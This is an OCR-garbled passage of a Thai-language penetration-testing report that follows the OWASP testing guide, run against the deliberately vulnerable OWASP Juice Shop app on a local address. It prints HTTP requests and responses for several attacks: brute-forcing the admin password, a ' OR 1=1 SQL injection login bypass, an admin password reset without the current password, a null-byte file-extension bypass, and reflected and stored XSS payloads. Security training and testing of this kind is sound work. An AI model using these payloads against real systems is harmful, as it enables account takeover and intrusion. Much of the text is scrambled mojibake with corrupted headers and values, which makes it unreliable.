Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=utf-8
Content-Length: 92
: W/ "5c-0Kvgud4dOyflWwExvTQbEx3UYCKO"

: Thu, 11 Oct 2018 09:30:35 GMT
Connection: keep-alive

{"message":"Validation error”,"errors":[{"field":"email”, "message'":"email must be unigque”}]}

U7 3.3.6 response ¥y email siaslaitnfiu
- lilwiden role/permission Tuns register
- lifigaus email Tun1siigad identity dmiunisadng

- lufinnsds email e verified fanu

Validate the registration process:

- doya Identityemail) @wsavasyduniladienin e ndmadaduadesd

v @

MDNWIVAY @ WINUU

Email address is not valid.

NotRealEmail12@]

UM 3.3.7 udnen1s validation MsasiasaanBnvawmiiniy
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- doya Identity ansnsngniUdeunuasialusenin registration 8nviads bypass N3

validation ¥84 email ladneae

Password

Security Question A\

Name of your favorite pet?

ost: 192.168.99.100:3000 r
User-Agent: »zilla/5.0 (Vindows NT 10.0; Winé4; x64; rv:62.0) Gecko/20100101 Firefox/€2.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: htt //182.1€8.99.100:3000
c yplication/4son; charset=urf-8
8

c nsent_status=dismiss; continueCode=MbkEYoSpEJnr RV4myqgQlABaHXulhSc3£2uQhBO3Xv2eKwPDEz1Z7NaSWiBx;
7iglbdptIbclAhAb
Connection: close

("email”: "ImBEsakingt’ , "passvord
tavorice

" "passwordRepeat”:"1234", "securityQuestion”

":"Name of your

pet?", "createdAt”:"2018-10-11T03:23:1€.2072", "updatedAt”: "2018-10-11T03:23: 1€.2072") , "securityAnsver"”: "Doge "}

i

< ' f o
EU‘VI 3.3.8 LLﬂﬂQ’lJUG\E]uﬂ'I‘SLLm‘Uﬂ’I email AdUHANAT

IDENT-003 Test Account Provisioning Process

1al a a &9 v a v
- 970 IDENT-001 laifl roles lnufiaunsousuansist users dule
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IDENT-004 Testing for Account Enumeration and Guessable User Account

- Testing valid user with wrong password

Login

Invalid email or password.

kent@example.com

Password

’ Login G Log in with Google

Forgot your password? Not yet a customer?

;S‘Uﬁ 3.3.9 login #78 password fiAn

- Testing non-existent username

Login

Invalid email or password.

Email

ImNoOne@)jush.op

’ Log in G Log in with Google

B Reme

sUT 3.3.10 login #28 email Alsifiogluszuy

- wadnsiniloudu lildlideyaiiufuiesiu email 3du email 7 valid viselsi

IDENT-005 Testing for Weak or unenforced username policy

- nmsveaauly IDENT-004 valid wag invalid username lalalvinadwsnuangng

1Y)

U



&r

' ) y ) 3 5 N ” ¢ v o
- uadwu admin account Aasld “admin@juice-sh.op”. Fereut v weak

< v Y
BTN @
“ v ” & 4 o ot v @ 1 i .
- “admin %Qﬂwumuuaﬂu’lﬂ'lu dictionaries. (9819 Burp suite’s username

list)

Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.
: | adler
l.. Load ... l adm

—— | admin
1 | administrator
L—-—J adminstrator

 Add Enter a new item

(@odmomist .. 8 -p et/ s> 2As il

;ztlﬁ 3.3.11 list 984 username lulUsunsu Burp Suite

3.4 Authentication Testing (OTG-AUTHN)

AUTHN-001 Testing for Credentials Transported over an Encrypted Channel
- dwayaluaie POST method Wy HTTP

POST /rest/user/login HTTP/1.1

Host: 192.1€8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:62.0) Gecko/20100101 Firefox/€2.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://182.1€£8.99.100:3000/

Content-Type: application/json;charset=utf-8

Content-Length: 51

Cookie: cookieconsent status=dismiss: continueCode=MbkEYoS5pBJnrRVAmyquQlABaHXulhS5c3£zuQhBO3Xv2eKvPDEz1Z7NaSViBx:
10=qrmS78ZVpVY-iMGNAAAE

Connection: close

gﬂﬁ 3.4.1 uaAINT589 request login (*And7u body a8n)

- No encryption. 983 email, password gn sniff laeeadrene

AUTHN-002 Testing for default credentials
- 'l§foya emall w19M /administration (CONFIG-004) lmeillasinuidl

credential @anansaudhdathiile IDENT-001).
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- Username: “admin@juice-sh.op”, Password: 7777
° v s P v

- NS brute force M8 common password list. UBIAINABDINITNAADUY
default credentials g

- 1§en “worst-passwords-2017-top100-slashdata.txt” for brute forcing

- Result:
Recuest + Payiond IS (Erm [Tt g [Commea
77 test 401 (™) 8 330
78 hockey 401 =] g 330
79 dallas 401 ] @ 330
80 passwor 401 ) @ 330
81 a 401 ] 8 %0
83 pussy 401 (=) @ 330
84 pass 401 %] @ 330
85 asdf 401 (] @ 33
86 william 401 = 8 33

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allovw-Origin: *
X-Content-Type-Opt ions: nosniff

X-Frame-Opt ions: SAMEORIGIN

Content-Type: application/json; charset=utf-g§
Content-Length: 588

ETag: ¥/"24c-GKa93QlH3UcDO2/TualeSQPeDB4"
Date: Fri, 12 Oct 2018 08:53:46 GMT
Connection: close

("authent ication”:{ "token”: "eyJhbGe101J5U211N4 I8 INRSCCIE IKPXVCIS . e yd 2dGFOAXN 1010 5AWN] ZXNz 1 LW 12GFOYS1
£eyJpZCTEMSY1ZVIhaWvi01iIhZGLpbkBgdWl)ZS12aCcsveC s InBheIN3b3Jk] )0 AMDESH] AyN2ES Ymd kN MyNTA INTZmNDYS2GY
%0GI1MDA1LCIIcmVhdGVQXQ104 TyNDE4LTEVL TEYTDAOOS 1503 AyL3 TSNCAr MDAENDAILCJ LcGRRAGVKQXQ101 TyMDEAL TEVLTE
yIDADOI 1503 AyL3 ISNCAZMDAEMDAL £5w1aWFO19oxNTHSNZNOND 12LCJ 1eHALCIELNzkzNTI0K) 29 . HEVEN4_Swix7yINGO1S3GE
A47dNNXZIFenIktRYGSP' 1 2yt lygXpvzl 720£n7_20AdNOS 2DX3 TETBIkXTELAXGZ
u52L3skhplwbPOIDFBGTLEINZEXXZ_VOOQYAY ABaf2VOYNAw","bid”:1, "umail”:"adminfjuice-sh.op™})

o o o °
3Un 3.4.2 NAAWSNAINISIN bruteforce

AUTHN-003 Testing for Weak lock out mechanism

- liiwu lock out mechanism e (#igaildainnis log in waneqATa wie Brute

force in AUTHN-002)

AUTHN-004 Testing for bypassing authentication schema
- 14 sQL injection

using ‘OR 1=1;
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P

' Log in G Log in with Google

ur password? No

sU 3.4.3 nagau SQL Injection

AUTHN-005 Test remember password functionality

- wu Token lu cookie lilsieglugy clear text usifilaifinns Encryption (No

HTTPS)

¥ Request Headers view source
Accept: text/html,application/xhtml+xml,application/xml;c
©.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: th-TH,th;q=0.9,en;q=0.8
Cache-Control: max-age=0
Connection: keep-alive
Cookie: cookieconsent status=dismiss; continueCode=e4RNIN

9vxX2pbowkOl j Ed89Hwumhmc j fyuvGYZm6ri1az8gq5Pk37BQWLVn; io

bXxB1fmlisQpxTWKAAAC; email=Tester%4@exam.com;

101ISUZIINIISINRScCI6TkpXVCI9. ey ) zdGFOdXMiO1 I zdWNJZXNZ]]

1 ZGFOYSI6eyIpZC 1605wi ZW1hawwiOi JUZXNBZXIAZXhhbSS 1b20iLC)
7d29yZCI61EINTM30ThiYWM3YmEXY JM3NZMwNzd JNT LhNDQSY jgx
1Y331YXR1ZEFOI joiMjAXOCOXMCOXNIAWMZOYMTOWMCAXOT IgKZANO JA

iwidXBKYXR1ZFFOT jOiMjAXOCOXMCOXN I AwMzoyMTOWMCAXOT IgKZAs
1n@s ImlhdC16MTUZOTY2MDEINCW ZXhwI JOXNTMSNJCAMTUBTQ . AW7C
L_n3zeA2W]juQ20ZRNTLZ aMU61gWOpuV-oX1gvQjuubsy hoIbnnT
uiotidlxa TMYS- aHAXVi6Dmqs LFE6ay7! VPEZ6h4eudWWmMISR3G
fA2-70izv2kpFLwS2aETXZzwot JRhBA QAHU

9a-uLcdMITF7p

gﬂ‘ﬁ 3.4.4 wang token ludn Cookie

- Token 113¥Qn encode M algorithm UNBEN

- wudndu JwT 7ld Rs256 algorithm
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HEADER: ALGORITHM & TOKEN TYPE
eyJhbGci0iJSUZITNIISINR5cCI6IKkpXVCJ9. ey
zdGFOdXMi01JzdWNjZXNzIiwiZGFOYSI6eyJpZCI {

60SWiZW1haWiwi01JUZXNOZXJAZXhhbS5b281LCJ Y ikl
WYXNzd29yZCI6TjETNTM30ThiYWM3YmEXY jM3NzZM }

wNzd jNT1hNDQSY jgxTiwiY3J1YXR1ZEFBT joiMjA

X0CBXMCOXN1AWMZOYMToWMCAX0TIgKZAWOj AWIiw e

1dXBKYXR1ZEF@I joiMjAx0COXMCOXNiAwMZzoyMTo :
WMC4x0TIgKzAWO0jAWIn@sImlhdCI6MTUZOTY2MDE “status: “success

INCWiZXhwI jOoXNTM5Njc4MTUBTQ. Aw7C2QhL _n3z g wihs
eAszjUQ2BZRNTLZGMU61QWODUV‘ “email Tester@exam.com”,
0X1gVQjuUuDsy_hoIbnnTACcCruiotidlxa_TMY8- 'fi::;;'v‘jigfzﬁ;j;fzzgﬁgfjx°$‘ 
aH4xVi6DmgsLFE6ay7LVPEZ6h4eudWWmMIsR3Gma updatedAt”: “2818-10-16 ©3:21:00.192 +00:08
-C9a-uLcdM9TF7pfa2- ’;M_ =
zDizV2kpFLwS52aETXZzw9t jRhBA_Q4 exp”: 1539678154

}

] a
EUM 3.4.5 LAANTIUATLREAYDY token

- WU credential fiu password u# password aq’[ugﬂuuu hash
- wgwuvngdndu hash function 1n password Aldvedeue “test555”

- 1 hash asaitu aguldnld MDS5 adiu Hash function hivaensie

L Treat multiple lines as separate strings

MDS5 Hash:
1553798bac7balb3773077c59a449b81

3\Jﬁ 3.4.6 WaMNIA1 hash ¥a3 test555

AUTHN-006 Testing for Browser cache weakness

- vInd@auuu Google Chrome

- liwudaunwsas 97n Cache-Control: public, max-age=0

AUTHN-007 Testing for Weak password policy

- lLifivevsAulunisly uppercase letters, digits, symbols.
- Users aunsaldmonuslagiladmiunisna password Lifitevsiu

- Password ABiANNe1IYUAT 5 characters



|

User Registration

Password must be 5-20 characters long.

blabla@yaya

man
Password

Repeat Password

Security Question A )

®

JUN 3.4.7 uanan15U9AUAIAE12URY password

- 'lifl delay lun1swdeu password annsaideuldnaiieawiud

- 1ifl policy Aafulin Users waou password 9N ‘N’ days %30 UANINNT
lockout (Hl8991ndiM3 log on Jumnniuly

- Users @301 password Asumtinauuilglvailaviug

- 1iifl policy d@usutinAuAIULANANTENIN password flazsalmifiv password

NOUNTI

AUTHN-008 Testing for Weak security question/answer

- i security question 8¢ 10 Y9 (Pre-generated).
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Your eldest siblings middle name?

Mother's maiden name?

Mother's birth date? (MM/DD/YY)

Father's birth date? (MM/DD/YY)

Matemal grandmother's first name?

Paternal grandmother’s first name?

Name of your favorite pet?

Last name of dentist when you were a teenager? (Do not include 'Dr.")
Your ZIP/postal code when you were a teenager?

Company you first work for as an adult?

F ) y
UM 3.4.8 security question vaadulud

- 14 lock out mechanism (19839970 AUTHN-003) IW518Rgdu @11150Y1n13S

brute force Anaula

- Mmmoufionildainaundnnieluaseuaia wieaulnamves user: Name, Birth

date
- mMneufenvdzaladie: Favorite pet

o d' o - a‘ 4 £ U
- ANOUTN1AY brute forcible: Last name vasvuelunfuwuloIByu

- AMEUNENIQNAULIIBLABE1NAG Y Zip code, First company you work

(Social media)

AUTHN-009 Testing for weak password change or reset functionalities

- Password reset (84 password)

- ADINSANBUAINSU security question



Request

f
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POST /rest/user/reset-passvord HTTP/1.1
Host: 192.1€8.99.100:3000

User-Agent: Nozilla/5.0 (Vindows NT 10.0:
Gecko/20100101 Firefox/62.0

Accept: application/json, text/plain,
Accept-Language: en-US,en;q=0.5
Referer: http://192.1€8.598.100:3000/
Content-Type: application/json:charset=ucf-8

Content-Length: 78

Cookie: cookieconsent_status=dismiss:

continueCode=MbkEYoSpEInr RVimyqyQlABaHXulhScI£zuQhBO3Xv2eKwPDEZ L ZTNaSW) Bx
10=22zVP-3y0kC_yoDviAAde

Connection: close

Viné4: x€4; rv:€2.0)

.

(Memail": "PENESEUSRANEEEN" , "ansver " : "doge ", "new" : "tastSS5”, "repeat” : "restssS”
)

HTTF/1.1 200 OK

X-Povered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

X-RateLimit-Limit: 100
X-RateLimit-Remaining: 99
Content-Type: application/3json:
Content-Length: 1€7

ETag: W/ "a7-YhfXotGfdclélxIimrFnnXAbESQ"
Date: Tue, 1€ Oct 2018 10:38:5C GNT
Connection: close

charset=utf-8

("user”:("id":8, "email”: "Testerfexam.com”, "pas
svord":"1553798bac7balb3773077c59a449b81", "cre
atedAt":"2018-10-1€T03:21:00.1922", "updatedAt"”
$"2018-10-1€T10:38:51.8312"))

!
|
|

@ @ @ @ Type a search term

g'dﬁ 3.4.9 WAAINNTEN request reset password

NeLUAUANBY Waria password vl wadnsae Liansavinle

' 3 € W P2 ] Ao w ' z '
athalsAmuilendu reset WilddinisdsnisBudulaqriuns email 1y g

v

= 1
YUY
v

[

U

Request

/user/rese
Host: 192.1£8.99.100:3000

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Vin&4:; x&4; rv:€2.0)
Gecko/20100101 Firefox/€2.0

Accept: application/json, text/plain,
Accept-Language: en-US,en:q=0.5
Reterer: http://192.168.99.100:3000/
Content-Type: application/)son;charset=utf-8
Content-Length: &€

Cookie: cookieconsent_status=dismiss;

w.

cont tnueCode-=| yqgC 1 ABaHXulhSc: 3 127NaS¥3Bx;
10=22VP-2y0kC_yoDviAAAe

Connecticn: close

("email”:"admingjuice~ah.op”, "nes”: "nevadmin®, "repeat”: "aevadmin') | 9

Security Questions ﬁ'muﬂ »14 AUTHN-008

Response

HTTP/1.1 S00 Internal Server Error
X-Powered-By: Express
Access-Control-Allov-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SANEORIGIN
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 9
Content-Type: application/json; charset=utf-g
Date: Tue, 1é Oct 2018 10:45:38 GNT
Connection: close

Content-Length: 1807

1

"error": (
"message”: "Blocked illegal activity by
:f£E£:182,166.98.1",

: "Error: Blocked illegal activity by

2.1€8.8%.1\n
/juice-shop/routes/resetPassvord.js:14:12'n at
Layer.handle [as handle request)
(/juice-shop/node_modules/express/lib/router/layer.)s:95:5)
n at next
(/juice=shop/node_modules/express/lib/router/route.js:137:13
\in at Route.dispatch

31Jﬁ 3.4.10 reset password Iaglsids answer U

Password changing

) ' K do w o )
»09N13 token 'l‘umii:;'qtn email 1Muwﬂﬁax1lﬂaﬂu5wﬂ (‘LUE‘UU’W

Y93 Tester)

& g

Uu token



Request

= — 1
GET /rest/user/chang 555 EEEkrep EEi
HTTP/1.1

Host: 192.1€8.99.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:62.0) Gecko/20100101
Firefox/&2.0

Accept: application/3json, text/plain, */*

Accept-Language: en-US,en:g=0.5

Reterer: http://1S2.1E8.9%, 100:3000/

Cookie: cookieconsent_status=dismiss;
continueCode=MbkEYoSpEInrRVamyqgClABaHXulhSc3£zuChBO3IXvIeKWPDEZL1Z7NASVWIBX

10=HEt udHgNhEnPd7UAAAS;
token=eyJhbGci0iJSUz IINA T8 InRScCIE TkpXVCIS. eyJ 2dGFOAXNLI0IJzdWN) ZXNZ 1 iwi ZGFOYS 1€eyJp2C
T1€0SwiZVlhaWwiOid AZ: LCIwYX YZCIEIJEINTHIOThiYWNI YmEx T M3NzMwNzd

INTINNDQSYIgxI4wi¥Y3J1YXRIZEFOT301 M) AXOCOXMCOXNIAWNZOYNTOVNMCAXOTIgKZAVOI AV AwidXBRYXR]1
ZEFOI)01MjAxOCOXMCOxN1iAXMDOXNT0005440TggK2AVOI AWIn0s ImlhdC IENTUZOTYANTT40SwiZXhwljoxN
TMSNzAzZN)gSEQ. EQL 2. X2J5J3uel YOETzTaLwM4HOLOEXB1SKWCIALI3s
28mE_ogRbKktGS5cP120yJOFU7xqDC177£KVhmcEeA-PXve H2 1Et 24FvoUSp7gUmDdhTwovWE1PbPH1Ohqr dSk
2LiTN_ZwSuSEéJdml

Connection: close

| | Content-Type:

34

Response

X-Povered-By: Express
Access-Control-Allow-Origin: *

| X-Content-Type-Options: nosniff
| X-Frame-Options: SAMEORIGIN
application/json;
Content-Length: 17

ETag: ¥/"a7-333H1BcSBeCwA)XRTZRgEptzibs"
Date: Tue, 16 Oct 2018 10:47:50 GHT
Connection: close

charset=utf-g

("user”:("id":9, "email": "Testerf@exam.com", "passvord”
| :"0087b421426121£47102£fcb2éc10E40a", "createdAt”: "20
| 18-10-1€T03:21:00.192Z", "updatedAt”:"2018-10-1ET10:
47:49.9€82") )

g‘dﬁl 3.4.11 uaAINT589 request change password

ABIN13 current password (31NN change password FevsAuliild)

auyAinlinag session hijack wnewuad (lunsdil Wy admin) wazlel Admin

token

fdapssinald current password ¥83 admin ®gf @83 bypass feNTAU

‘current’ parameter Ty URL wazds request d4lU: nadwsaedni5a

Crd7nevenevadminirepeateonevadmin TP/ 1.1 o s
: 192.168.99.100:3

ooo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4: rv:€2.0) Gecko/20100101
Firefox/€2.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;g=0.5
Referer: htep://182.168.98, 10053000/
Cookie: cookisconsent_status=dismiss:
cont inueCode=MbkEY0oSp8dnr RVAmyggQl ABaHXulhSc3 £zuQhBO3IXvZeRKvPDEZ1Z7NaSVIBx:
io=HEtudHmgNhEnPA7UALAAS
token=eyJhbGci0iJSUzTINI I8 InRScCIEIkpRVCIS. eyJ zdGFOAXNi04T2dUNI ZXN2 1 iwi2GFOVSTEeydp
ZCIENSViZV1haWwiOiJhZGlpbkBqdWl)ZS1zaCSveCIs InBhe3N3b3Jk1 )0 AINDESNIAYMI EI Ymd kN NyNTA
AINTZmMDYSZGYxOG I IMDAILCIJcmVhdGVROXQ104 ITYMDEALTEVLTES IDAZOSE103CAL I NzNSAr NDAENDALLC
JLcGRhAGVEQXQi0i IyMDEALTEVLTEZ IDAZOIELOI Q4L I MzNSAr EDAEMDAL £SwiaWF013oxNTMSNIcIN] YOL
CJ1eHALOIEIMzKZOTUZNIRS . JtKPnlySamBcoStged i INsORVvNY-XewUL1S CGDXFTS4yJ iU7aVLEUEVKIZ
_tKSSsNIGbHOn3 aKze £GGLr 000kGIUZ4C ) £ 2qNKNaJLEWhQkOZ) i0npGaZp IVATILIUFBt ESOEnT2YQVevE
bNCPZFTwe 1fLP134ulINp_vEcK4yGO

Content-Length: 2

aunsawlasusialaviug

-

Response

HTTP/L1.1 200 OK
X-Povered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json:
Content-Length: 1&9

ETag: W/"aS-Zto€kCd)jY3vLEBEQON+OYBBIgDA"
Date: Tue, 1€ Oct 2018 10:58:53 GNT
Connection: keep-alive

charset=utf-§

(Muser”:("id":1, "email":"adminfjuice-sh.op", "passvord"
:"BO39E443£055ea0c4td9719ecetccl5a”, "createdAt "1 "2018
-10-16T03:15:49.3352", "updatedAt"”: "2018-10-1£T10:58: 5
3.0702"}))

% | a v | v a
mnldld token 11 @1u1s0de URL f1au current aanls wazasluliitdwmunendn

(3 v |

laiwu alternative channel

- ¥ : a P | v
Aardl swaruveuthmnefazldsuly aunsldenly (CSRF)

AUTHN-010 Testing for Weaker authentication in alternative channel
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3.5 Authorization Testing (OTG-AUHZ)

AUTHZ-001 Testing Directory traversal/file include

% ' A ¥ o
- 199 redirect ugldiNeavoaiu

AUTHZ-002 Testing for bypassing authorization schema
- 91989 IDENT-001 Admin wag Users role i privilege inilouniu

A a v
- Admin wag Users @131150 read write delete Basket Audula

v 1 ;- d Vd o
- Guest #8IHIUNNT authenticate (W8 access resource YBIHDU (Credential

required).

AUTHZ-003 Testing for Privilege Escalation

- lalanansaySuusa privilege vesnuioale

AUTHZ-004 Testing for Insecure Direct Object References

/ftp 971 CONFIG-003 3n15391i9n15L97eR file @wiy .md v pdf Wity
- @9 access 1104 package.json.bak NAdWSTU 403 Error: Only .md and .pdf files
are allowed!

1 1 al - o v v ¥
- mmdeziinisida extension Aineayineay .md uay pdf

=Y 1 v 1 o ld‘d X %
- mniiy .md sevne azlunelwal wseliivelvaties

v

K(D Not secure | 192.168.99.100:3000/ftp/package json.bak md

Juice Shop (Express ~4.16)

404 Error: ENOENT: no such file or directory, stat ‘/juice-shop/ftp/package.json.bak.md’

| s s a
z‘lJVI 3.5.1 HAAWSWAINITIAY .md

a " v i ' ¢ v
- wndu txt sevineazgnasiainlildanalvdngnaes
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[@ Not secure | 192.168.99.100:3000/ftp/package json bak.txt

Juice Shop (Express ~4.16)

403 Error: Only .md and .pdf files are allowed!
gﬂﬁ 3.5.2 HAAWSUAINISIAY txt

- 14 Null byte attack W@usavineaslulu URL %00 (% Tu URL 9 encode 1¥u %25)

d o o . 5 1 ¥ 1% -~
WWONINISAA string WU Lazmanienle .md e pdf

@ saveAs .
& v P 3> ThisPC SRR oarch This P -
Organize ~
N P e N .
’ﬁk .Y ~ Folders (7)
oAl | 3D Objects
‘m Desktop 1
& Documents
% Downloads i Desktop
Music /
' i ({1}
P ‘\ '} T‘, Documents
W Videos ;‘ =
A
£ Windows (C) -
o
«» Local Disk (D) X i Downloads g
R oo
somaitpe URIED. - S\ S L N /4 -
e [Toe ] cone

gﬂﬁ 3.5.3 HAANSWAINISVT null byte injection

3.6 Session Management Testing (OTG-SESS)

SESS-001 Testing for Bypassing Session Management Schema

- Unencrypted cookie.

- token @13130 decode oBNUlA (AUTHN-005). Usi password €apseg3u hash
(MD5).

- JWT 39 verify token Falsianunsa tampering ‘l‘fan‘ila‘lu payload 16 vilvienae

N158579 token Yuae9 (Invalid Signature)
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SESS-002 Testing for Cookies attributes

- HTTPONly Uasiun1sidniiamn cookie WU java scripts

——

HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8
Content-Length: 103

Access-Control-Allow-Origin: *

Set-Cookie: io=gyTKQFkqcMXCMavYAAAA; Path=/; HttpOnly
Date: Thu, 15 Nov 2018 07:22:05 GMT

Connection: close

9E:0{"sid": "gyTKQFkqcMXCMavYAAAA", "upgrades”: ["websocket”] , "pingInterval”:25000, "pingTimeout”:5000}2:40

3\]17‘! 3.6.1 Set-Cookie directives

SESS-003 Testing for Session Fixation

& s [ 1 o [ ¢ 1 [l I .
E L%JWQL’JUIQ!V\ response #1 cookie NAUNY #3AIAINUNELTU session 1D

HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8
Content-Length: 103

Access-Control-Allow-Origin: *

Set-Cookie: io=2xt74Z-wSDeBmY-fAAAB; Path=/; HttpOnly
Date: Thu, 15 Nov 2018 07:59:22 GMT

Connection: close

SE6:0("sid":"zxt74Z-wSDeBmY-fAAAB", "upgrades": ["websocket"], "pingInterval”:25000, "pingTimeout"”: 5000} 2:40

31Jﬁ 3.6.2 Set-Cookie: io

- Yhmsaendu
- liilmsdern cookie Tmsinduunly Response &sadldl session ID Wiy @essions

9@ session hijacking

Request:

POST /rest/user/login HTTP/1.1

Host: 192.1€8.99.100:3000

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4: x€4: rv:€3.0) Gecko/20100101 Firefox/€3.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://192.1€8.99.100:3000/

Content-Type: application/json;charset=utf-8

Content-Length: 48

Connection: close

Cookie: cookieconsent_status=dismiss: continueCode=1Pn3jB80okMEVAY4HjuBhecWIkTeivtDuZhNerC9tQc4TEBSKPOgDIxreQKINL; io=2zxt74Z-wSDeBmY~-L£AAAB

{"email":"Tester@exam.com", "passvord":"test123"}

5UT 3.6.3 d4 request login
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Response:

HTTP/1.1 200 OK

X-Povered-By: Express
Access-Control-Allov-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Content-Type: application/json; charset=utf-8
Content-Length: 584

ETag: W/"248-ECCFUJwU2SSxpRIn3RUQESq/jqU”
Date: Thu, 15 Nov 2018 0B:00:06 GMT
Connection: close

{"authentication”:{"token”:"eyJhbGciOiJSUzIINiISInR5cCIEIkpXVCJIS. eyl zdGFOAXMi0iJzdWNIZXNZzIiwiZGFOYSI€eyJp2ZCI60SwiZVl
OxNSAuNzo 10To LMC4yMjEgKzAwWOjAwliwidXBKkYXR1ZEFOIj0oiMjAxOCOxMSOxXNSAwNzZ0 10To I1MC4yNMIEgKzAWO)AwInOs ImlhdCIEMTUON] IZ0DgwN i
HﬁnglpHxvsSBSvTEsznsoUBlvnyYnVyxEIcho7dnK76vNIqqesz!IPUHdedeinXBYhBuV!XU","bid":Q,"umcll":"TestetEexam.com"))

gﬂﬁ 3.6.4 response Lifian io Tuisi

SESS-004 Testing for Exposed Session Variables
- HTTP

- Session ID laignivABundsaindandu ($19899n SESS-003)

- Session ID agnas POST request lumfeufiunisdendu agludn cookie mugy

SESS-003 wiindnisdewien GET request luiuiu augy

GET /socket.io/?EIO=3stransport=pollingét=NSNFwPVésid=gyTKOFkgqcHXCHMavYAAAA HTTP/1.1

Host: 192.1€8.89.100:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Vin€4; x€4: rv:63.0) Gecko/2010010L Firefox/€3.0

Accept: */*

Accept-Language: en-US,en:q=0.5

Referer: htep://192.1€8.95.100:3000/

Connection: close

Cookie: cookieconsent_status=dismiss; continueCode=1PnjB80ckMEWAY4HjuBhecWIkTeivwfDuZhNtrCStQc4TEESKPOgD3xreQKINL; i0=gyTEKQFkqcMXCMavYAAAA

3UT 3.6.5 n3daAn sid s URL

SESS-005 Testing for Cross Site Request Forgery

d ) § 1

- 38IM3 change password @1 AUTHN-009 winisnladfl token weuwde Al
a o 1 4 vy a4 o ° ' vy A  a -
ansawdsusiaruveandeld uidlounuyin CSRF lawds URL Twtiondn vt

-3 ] o <3 L S P VN £ ) W Y
Aazds request Wasusianuuaziuduiie token Mol lasiidensliviuim

v

asfle

SESS-006 Testing for logout functionality
- {iYy log out Farau 1hdslade

v d & vy R " Y
= LOg out 'i]'\ﬂﬂu’]'ﬂu’lu‘lﬂLaquaaﬂaunﬂquu



39

« cC @ D M 192.168.99.100

TEST TEXT blaiblaiblaibaiba

A suomit

E‘Uﬁ 3.6.6 W1 lEni recycle a8 Tester@exam.com

- %9310 log out aznaUlUGMIILTA

- nadounauluni recycle

gﬂﬁ 3.6.7 W91 recycle #a3397n logout

- 1aifl log out 91nN15LAA inactivity timeout

- il Single sign off wszndulufini recycle w3 basket Aliinudayaves user 7

[ a 1 L4 a’l’
A9ADUNBDUNUTU
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- yinaeads Authorization header (Session Token) kN5 log out 7lé capture
| 1 d
17 wnaosds GET request UM Basket 983 Tester@exam.com
- wausIng Saanansadnisdeyalu Basket vos Tester@exam.com 16l

- wanI1ns log out eanly lldvihanensewully Session Token 19 €ams valid

U UUALIAT expire

SESS-007 Test Session Timeout

- Tuein token Fszyrian expires Liag (token o1y 5 ¥alan)

- USINMNALIAT 5 Talus token duAldaunsalydau token duladn

Juice Shop (Express ~4.16)

401 UnauthorizedError: jwt expired

5UT 3.6.8 laianansald token vunoglé

- ldaunsonadeuladn wnudluAaamun  expire wes uanhlulgdadnass il
server 9ziin1smauiuwuula (valid 39 invalid)
= ' 1 v = '
- LU8IN A1 token QN encoded e JWT RS256 (Wiulsiaan AUTHN-005) @sennsie

AsuAbtudn token

SESS-008 Testing for Session puzzling
- 9nnsaedld email luntih forget-password LLazné'uLiﬂejwﬁwﬁﬁﬂnga user 1
\u Basket, Contract us (¢l field #ild email vea user 13lsudn) Usingin id
Taleunstudusiinu Ssnadu Guest wiloulda
- flesnnstudusiauvesiuiisndudedl  Token  @sléinnisderdu  POST

request 1U uaalel Token ndunlu response iy

- ayladn Lidinisld Token 911991 forget-password
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3.7 Input Validation Testing (OTG-INPVAL)

INPVAL-001 Testing for Reflected Cross Site Scripting

- Wufl “Track Orders” page.

31]17; 3.7.1 w1 Track Orders

- aesldueegneasly

40e-test111

sU 3.7.2 uans URL lalden input

- Td script: <script>alert("XSS")</script>

- 17 URL Tl wuneerdnden
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@ Not secure

192.168.99.100 30« #/track-re

192.168.99.100:3000 says

—— Ome

gﬂﬁ 3.7.3 nA Reflected XSS

INPVAL-002 Testing for Stored Cross Site Scripting

- 911 Role definition (IDENT-001) Users @w15a write product 1 AMunEANIN

is1ansariia product Milvsiasluluiula

- @1 POST request U api/Products

- TuJSON\" #aDouble quote

- 14 script aalulu “description”: "<script>alert(\"XSS in the shop\")</script>"

Response

[ Fsdors [ o]

api/Products/ HTTP/1.1
£8.59.100:3000

20100101 Firefox/€2.0
t-Language: =n-US,en;q=0.5

: application/json
182, 168.99. 100:3000
: Bearer

12GF0YST1éeydp
| ¥ZCI1E ImNJMDN 1IN
0IjoiMjAxOCOxM(
iMIAXOCOXMCOYMiAvMz

/DZgre

: Mozilla/5.0 (Vindows NT 10.0:

TINAiISInRScCIETkpXVCJIS. eyJzdGFOAXMiOiJ2dWNIZXNzIiv

wiZV1lhaWvwiOiJUZXNOZXJAZXhhbS5ib204LCIv]
ZhZmJ 1 Y2ImOGJ IN2Y2OGF ) ZmV i ZWU1 11wiY3JLYXR1ZEF
yMiAwMz0zODo10S4 1M1 kgKzAvOI AwT iwidXBKYXR1ZEFOI 0
kgKzAwO3j AwInOs Iml
STTNVF

) B

ption":"<script>al

Winé4:

tVvEJPTe--ZyTdvlps

T

HTTP/1.1 201 Created

X-Powered-By:

ont
ontent-T ptions: nosniff

X-Frame-Options: SANEORIGIN

Location: /fapi/Products/39

ontent-Type: application/json; charset=ucf-8

